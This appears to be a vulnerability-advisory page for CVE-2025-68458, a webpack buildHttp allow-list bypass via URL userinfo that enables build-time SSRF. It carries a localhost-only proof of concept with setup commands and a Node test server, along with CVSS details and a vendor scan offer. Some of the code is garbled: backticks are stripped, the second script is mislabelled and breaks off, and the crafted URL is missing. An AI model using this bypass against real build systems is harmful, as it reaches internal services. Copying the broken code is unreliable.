Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2025-68458 — webpack

🟢 CVSS 2.0 — Low ⚠️ Exploit Public CWE-918 OSV
2.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

webpack buildHttp: allowedUris allow-list bypass via URL userinfo (@) leading to build-time SSRF behavior

Summary

When experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) can be bypassed to fetch resources from hosts outside allowedUris by using crafted URLs that include userinfo (username:password@host). If allowedUris enforcement relies on a raw string prefix check (e.g., uri.startsWith(allowed)), a URL that *looks* allow-listed can pass validation while the actual network request is sent to a different authority/host after URL parsing. This is a policy/allow-list bypass that enables build-time SSRF behavior (outbound requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion (the fetched response is treated as module source and bundled). In my reproduction, the internal response was also persisted in the buildHttp cache.

Reproduced on:

  • webpack version: 5.104.0
  • Node version: v18.19.1

Details

Root cause (high level): allowedUris validation can be performed on the raw URI string, while the actual request destination is determined later by parsing the URL (e.g., new URL(uri)), which interprets the authority as the part after @.

Example crafted URL:

If the allow-list is ["http://127.0.0.1:9000"], then:

  • Raw string check:

crafted.startsWith("http://127.0.0.1:9000") → true

  • URL parsing (WHAT new URL() will contact):

origin → http://127.0.0.1:9100 (host/port after @)

As a result, webpack fetches http://127.0.0.1:9100/secret.js even though allowedUris only included http://127.0.0.1:9000.

Evidence from reproduction:

  • Server logs showed the internal-only endpoint being fetched:
  • [internal] 200 /secret.js served (...) (observed multiple times)
  • Attacker-side build output showed:
  • the internal secret marker was present in the bundle
  • the internal secret marker was present in the buildHttp cache

<img width="1651" height="381" alt="image-2" src="https://github.com/user-attachments/assets/8fd81b35-0d4f-424b-b60e-0a2582a8b492" />

PoC

This PoC is intentionally constrained to 127.0.0.1 (localhost-only “internal service”) to demonstrate SSRF behavior safely.

1) Setup

```bash

mkdir split-userinfo-poc && cd split-userinfo-poc

npm init -y

npm i -D webpack webpack-cli

```

2) Create server.js

```js

#!/usr/bin/env node

"use strict";

const http = require("http");

const ALLOWED_PORT = 9000; // allowlisted-looking host

const INTERNAL_PORT = 9100; // actual target if bypass succeeds

const secret = INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)};

const internalPayload =

// internal-only\n +

export const secret = ${JSON.stringify(secret)};\n +

export default "ok";\n;

function listen(port, handler) {

return new Promise(resolve => {

const s = http.createServer(handler);

s.listen(port, "127.0.0.1", () => resolve(s));

});

}

(async () => {

// "Allowed" host (should NOT be contacted if bypass works as intended)

await listen(ALLOWED_PORT, (req, res) => {

console.log([allowed-host] ${req.method} ${req.url} (should NOT be hit in userinfo bypass));

res.statusCode = 200;

res.setHeader("Content-Type", "application/javascript; charset=utf-8");

res.end(export default "ALLOWED_HOST_WAS_HIT_UNEXPECTEDLY";\n);

});

// Internal-only service (SSRF-like target)

await listen(INTERNAL_PORT, (req, res) => {

if (req.url === "/secret.js") {

console.log([internal] 200 /secret.js served (secret=${secret}));

res.statusCode = 200;

res.setHeader("Content-Type", "application/javascript; charset=utf-8");

res.end(internalPayload);

return;

}

console.log([internal] 404 ${req.method} ${req.url});

res.statusCode = 404;

res.end("not found");

});

console.log("\nServers up:");

console.log(- allowed-host (should NOT be contacted): http://127.0.0.1:${ALLOWED_PORT}/);

console.log(- internal target (should be contacted if vulnerable): http://127.0.0.1:${INTERNAL_PORT}/secret.js);

})();

```

2) Create server.js

```js

#!/usr/bin/env node

"use strict";

const path = require("path");

const os = require("os");

const fs = require("fs/promises");

const webpack = require("webpack");

function fmtBool(b) { return b ? "✅" : "❌"; }

async function walk(dir) {

const out = [];

let items;

try { items = await fs.readdir(dir, { withFileTypes: true }); }

catch { return out; }

for (const it of items) {

const p = path.join(dir, it.name);

if (it.isDirectory()) out.push(...await walk(p));

else if (it.isFile()) out.push(p);

}

return out;

}

async function fileContains(f, needle) {

try {

const buf = await fs.readFile(f);

const s1 = buf.toString("utf8");

if (s1.includes(needle)) return true;

const s2 = buf.toString("latin1");

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is high, an attacker needs low-level privileges on the target. A user must be tricked into taking some action. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality low, integrity low, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: High — the attacker first has to win a race, learn a secret or otherwise prepare the target.
  • Privileges required: Low — an ordinary user account is enough.
  • User interaction: Required — someone has to click, open or visit something.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: Low — limited, and the attacker does not choose what is affected.
  • Integrity impact: Low — limited, and the attacker does not choose what is affected.
  • Availability impact: None.

Weakness class

CVE-2025-68458 is classified as CWE-918: Server-Side Request Forgery (SSRF). The server fetches a URL supplied by the caller, which can be pointed at internal systems it alone can reach.

Affected software

CVE-2025-68458 is recorded against 1 package.

  • webpack

Timeline and source

Published on 5 February 2026 and last revised on 17 June 2026. A public exploit is known to exist, which raises the urgency of patching considerably. Record sourced from OSV.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Package)

Other advisories for this package

webpack has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-918: Server-Side Request Forgery (SSRF)) in other software:

CVE-2025-68458 on other distributions

Each distribution ships its own build and its own fixed version. Pick the one you run:

Details

Severity LOW
CVSS Score 2.0
CVSS Vector CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N
CWE CWE-918
Public Exploit ⚠️ Yes
Source OSV
Published 2026-02-05
Updated 2026-08-20
Modified 2026-06-17
Fix URL N/A

Affected Packages

Software From version Fixed in
webpack — —

Exploit Protection

Are you running webpack?

CVE-2025-68458 carries CVSS 2.0 Low rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2025-68458 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2025
✓